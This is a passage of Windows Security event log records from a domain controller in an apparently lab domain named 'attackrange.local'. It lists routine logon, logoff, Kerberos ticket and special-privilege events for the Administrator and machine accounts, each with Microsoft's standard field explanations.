SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251394 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1334C4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {1CCAE5E8-05DD-8020-C324-71B138D4B566} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251393 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {1CCAE5E8-05DD-8020-C324-71B138D4B566} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251392 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {1CCAE5E8-05DD-8020-C324-71B138D4B566} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251391 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251390 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13348E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251389 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13348E - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251388 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13348E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {1CCAE5E8-05DD-8020-C324-71B138D4B566} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251387 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {1CCAE5E8-05DD-8020-C324-71B138D4B566} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251386 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {1CCAE5E8-05DD-8020-C324-71B138D4B566} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251385 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251384 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x132E2D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251383 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x13346B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251382 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x13346B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64524 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251381 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x13346B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251380 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x13340A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251379 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x13340A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64523 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251378 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x13340A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251377 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1333A4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251376 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1333A4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64522 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251375 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1333A4 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251374 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x133343 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251373 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x133343 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64521 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251372 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x133343 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251371 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1327AD - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251370 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x132E2D - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251369 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x132E2D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {1CCAE5E8-05DD-8020-C324-71B138D4B566} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251368 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {1CCAE5E8-05DD-8020-C324-71B138D4B566} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251367 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {1CCAE5E8-05DD-8020-C324-71B138D4B566} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251366 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 